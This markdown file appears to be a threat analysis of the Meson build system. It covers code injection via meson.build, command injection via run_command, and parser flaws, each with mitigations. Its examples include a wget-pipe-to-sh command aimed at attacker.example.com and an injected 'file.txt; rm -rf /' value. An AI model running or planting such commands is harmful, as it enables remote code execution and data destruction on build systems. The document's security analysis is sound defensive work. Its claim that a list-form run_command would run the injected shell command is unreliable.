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attack-surface.md

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Attack Surface Analysis for mesonbuild/meson

Attack Surface: Code Injection via meson.build

  • Description: Malicious code can be injected into the build process through untrusted or compromised meson.build files, leveraging Meson's ability to execute arbitrary commands.
    • Meson Contribution: meson.build files are written in a DSL that allows execution of external commands using functions like run_command, custom_target, configure_file, and executable/shared_library. This capability directly enables code injection if meson.build files are malicious.
    • Example: A malicious meson.build file from an untrusted source contains: 
      run_command(['wget', '-qO-', 'https://attacker.example.com/malicious_script.sh', '|', 'sh'])
      This would download and execute a script from a remote server during the build process, directly orchestrated by Meson interpreting the meson.build file.
    • Impact: Arbitrary code execution on the build system, potentially leading to data exfiltration, system compromise, supply chain attacks, or denial of service.
    • Risk Severity: Critical
    • Mitigation Strategies:
      • Source Code Review: Thoroughly review all meson.build files, especially those from external or untrusted sources, for suspicious commands or actions before using Meson to process them.
      • Input Validation: Sanitize and validate any external inputs used within meson.build files before using them in commands executed by Meson.
      • Principle of Least Privilege: Run the Meson build process with minimal necessary privileges to limit the impact of potential compromises.
      • Trusted Sources: Only use meson.build files from trusted and verified sources to be processed by Meson.

Attack Surface: Command Injection via Unsafe Use of run_command and Similar Functions

  • Description: Improperly sanitized or validated inputs passed to Meson's command execution functions can lead to command injection vulnerabilities, allowing attackers to execute arbitrary commands on the build system through Meson.
    • Meson Contribution: Meson provides functions like run_command, custom_target, configure_file, and executable/shared_library that take lists of strings as commands. Meson directly executes these commands. If developers construct these command lists using unsanitized external inputs within meson.build, Meson becomes the vehicle for command injection.
    • Example: A meson.build file uses user-provided input without sanitization in a run_command call: 
      user_provided_file = get_option('file_name')
run_command(['cat', user_provided_file])
      If a malicious user provides input like "file.txt; rm -rf /" for file_name, Meson will execute cat file.txt; rm -rf /, leading to unintended command execution.
    • Impact: Arbitrary command execution on the build system, potentially leading to data exfiltration, system compromise, or denial of service, all triggered by Meson's command execution.
    • Risk Severity: High
    • Mitigation Strategies:
      • Input Sanitization and Validation: Thoroughly sanitize and validate all external inputs before using them to construct commands in meson.build that will be executed by Meson.
      • Avoid Shell Expansion: When using run_command and similar functions in meson.build, pass commands as lists of arguments to avoid shell expansion vulnerabilities when Meson executes them.
      • Principle of Least Privilege: Run the Meson build process with minimal necessary privileges.
      • Secure Coding Practices: Educate developers on secure coding practices within meson.build for Meson, emphasizing command injection risks when using Meson's command execution features.

Attack Surface: Parser/Interpreter Vulnerabilities in Meson Executable

  • Description: Bugs or vulnerabilities in the Meson parser or interpreter itself can be exploited by crafted meson.build files, leading to arbitrary code execution within the Meson process or denial of service.
    • Meson Contribution: Meson is the tool that parses and interprets meson.build files. Vulnerabilities in Meson's code are directly exploited when Meson processes malicious meson.build files.
    • Example: A hypothetical vulnerability in Meson's meson.build parser could be triggered by a specific syntax or construct in a meson.build file, causing Meson to crash or execute arbitrary code due to a bug in its parsing logic. (Specific examples would depend on discovered CVEs in Meson).
    • Impact: Arbitrary code execution within the Meson process, potentially leading to build system compromise or denial of service, directly caused by exploiting Meson itself.
    • Risk Severity: High (depending on the nature of the vulnerability, could be Critical)
    • Mitigation Strategies:
      • Keep Meson Updated: Regularly update Meson to the latest version to benefit from security patches and bug fixes that address vulnerabilities in Meson itself.
      • Report Vulnerabilities: Report any suspected vulnerabilities in Meson to the Meson development team to help improve Meson's security.
      • Input Fuzzing: Use fuzzing techniques to test Meson's parser and interpreter for vulnerabilities to proactively find issues in Meson.
      • Code Auditing: Conduct security audits of the Meson codebase to identify and fix potential vulnerabilities within Meson's code.